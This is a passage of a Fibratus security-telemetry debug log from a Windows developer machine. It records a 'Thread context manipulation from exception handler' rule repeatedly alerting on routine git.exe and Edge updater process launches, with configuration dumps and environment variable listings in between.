--utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" cat-file -s e7371c7e91a1da7aa7e0467286e1d3d759e701ea] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:39+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 121 + Pid: 16448 + Tid: 15952 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:37.9859934 +0100 CET + Params: cmdline➜ git.exe cat-file -s e7371c7e91a1da7aa7e0467286e1d3d759e701ea, directory_table_base➜ 463bc7000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57486080, name➜ git.exe, pid➜ 4776, ppid➜ 16448, real_ppid➜ 16448, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:10:37.9859934 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 16448 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" cat-file -s e7371c7e91a1da7aa7e0467286e1d3d759e701ea + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" cat-file -s e7371c7e91a1da7aa7e0467286e1d3d759e701ea] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:10:49+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 126 + Pid: 2052 + Tid: 9400 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:10:47.157975 +0100 CET + Params: cmdline➜ "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /c, directory_table_base➜ 3dddf6000, domain➜ NT AUTHORITY, exe➜ C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe, exit_status➜ Success, flags➜ WOW64, kproc➜ ffff808f56ce70c0, name➜ MicrosoftEdgeUpdate.exe, pid➜ 3088, ppid➜ 2052, real_ppid➜ 2052, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 16:10:47.157975 +0100 CET, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2052 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:11:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:11:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:11:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:49:01+01:00 level=info msg=bootstrapping with pid 6288. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:49:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-handle=>false enable-threadpool=>false enable-audit-api=>true enable-vamap=>true enable-mem=>false flush-interval=>1s enable-image=>true max-buffers=>36 enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-net=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text max-backups=>15] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ passive=>false exchange-type=>topic timeout=>5s delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck=>true gzip-compression=>false flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s sniff=>false trace-log=>false template-name=>fibratus enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 timeout=>5s] http=>[ tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] method=>POST]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s skip-files=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:49:01+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:49:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:49:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:49:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:49:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:49:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:49:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:50:54+01:00 level=info msg=bootstrapping with pid 10116. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:50:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false flush-interval=>1s enable-mem=>false enable-image=>true enable-net=>true min-buffers=>16 enable-threadpool=>false enable-vamap=>true enable-thread=>true enable-audit-api=>true buffer-size=>512 enable-dns=>false max-buffers=>36 enable-fileio=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 formatter=>text max-age=>0 level=>info log-stdout=>true] + output ......................... [ amqp=>[ routing-key=>fibratus durable=>false timeout=>5s url=>amqp://localhost:5672 passive=>false delivery-mode=>transient exchange-type=>topic exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false enabled=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ flush-period=>1s bulk-workers=>1 template-name=>fibratus gzip-compression=>false sniff=>false healthcheck-interval=>10s index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s trace-log=>false enabled=>false] http=>[ timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enabled=>false method=>POST] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:50:54+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:50:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:50:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:50:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:51:03+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 129 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.2531039 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 4087d5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58fc50c0, name➜ git.exe, pid➜ 5192, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.2531039 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:51:03+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 131 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:51:02.259578 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 4015c4000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b451080, name➜ git.exe, pid➜ 14492, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:51:02.259578 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, 